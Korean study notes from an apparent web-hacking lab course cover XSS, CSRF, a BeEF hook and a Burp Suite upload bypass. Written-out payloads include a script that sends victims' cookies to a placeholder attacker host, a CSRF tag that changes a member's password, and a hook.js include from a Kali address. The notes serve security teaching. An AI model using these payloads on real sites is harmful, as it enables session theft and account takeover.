취약점 점검
모의해킹
웹 보안
HTTP METHOD
GET : URL주소 뒤에 데이터를 담아서 처리
POST : HTTP body 영역에 데이터를 담아서 처리
둘 다 암호화 기능은 없다.
- CVE 를 참고해서 빈도수에 따라 만들었다.
- 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며,
10대 웹 애플리케이션의 취약점
- 웹 애플리케이션 취약점 중에서 빈도가 많이 발생하고,
보안상 영향을 크게 줄 수 있는 것들 10가지를 선정
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
사이트와 사이트를 가로질러 해석이 되어
DB에 저장되어 있는 값을 클라이언트에서 실행
, 대부분 클라이언트가 피해자임
Reflected xss :
문자나 특수기호를 필터링하지 못해서 입력된 자바 스크립트를 실행하게된다.
Stored xss:
이 글을 읽으면 alert 함수가 실행.
xss 실습
공격자가 작성한 글을 읽었을 때, 일반유저의 쿠키 정보를 빼내는 코드를 작성하여라.
<script>document.write("<iframe src='http://ipaddress/XSSAttack/Attack_Request.asp?cookie="+document.cookie+"' width=0 height=0></iframe>")</script>
파일로 존재하는 쿠키 : 퍼시스턴트 쿠키
PID넘버의 메모리영역에 저장 : 넘-퍼시스턴트 쿠키
원인 :
개발자의 입력값 검증(예외 처리)이 되지 않아서 필요한 script 이상의 스크립트가 client브라우저에서 실행(xss)
(+) 프로세스 검증 누락 또는 불충분한 인증
피해 :
브라우저에서 client가 당할 수 있는 여러가지 피해 발생 ex) 사용자 cookie 정보 탈취
CSRF 실습
회원정보(password) 를 변경하는 코드 작성
<script src='http://ip주소/member/mem_modify_ok.asp?pwd=1111&name=해킹&email=a@a.a'></script>
- 공격 방식 선택 후 , 게시판 글에
<script src="http://kali 주소:3000/hook.js"></script>
http 프록시로 전송할때는 SSL인증부분에서 조심해야함
크롬 falcon proxy 확장자 추가
Burp Suite Community Edition 설치
프록시로 인해 루프백주소(127.0.0.1:8080) 으로 던져지는 데이터를 하나하나 확인가능
버프 스위트 실습
파일 업로드 실행권한을 우회하여 업로드 하여라
크롬에서 프록시 on
업로드 하기 전에 버프 인터셉트 ON
1. 브라우저가 확장자를 보고 판단한 포맷(Content-Type)
Content-Type:application/x-zip-compressed <- image/Gif 로 변경
2. 포워드 클릭하면 등록완료
개발자가 Content-Type만을 보고 파일의 종류를 결정하면
공격자가 전송 시 Content-Type을 변경하면 얼마든지 첨부되는 파일을 속일 수 있다.
개발자가 확장자를 보고 판단하는 포맷
서버쪽으로 넘어간 파일의 확장자를 보고 판단
개발자가 파일의 MAGIC 정보를 확인하고 판단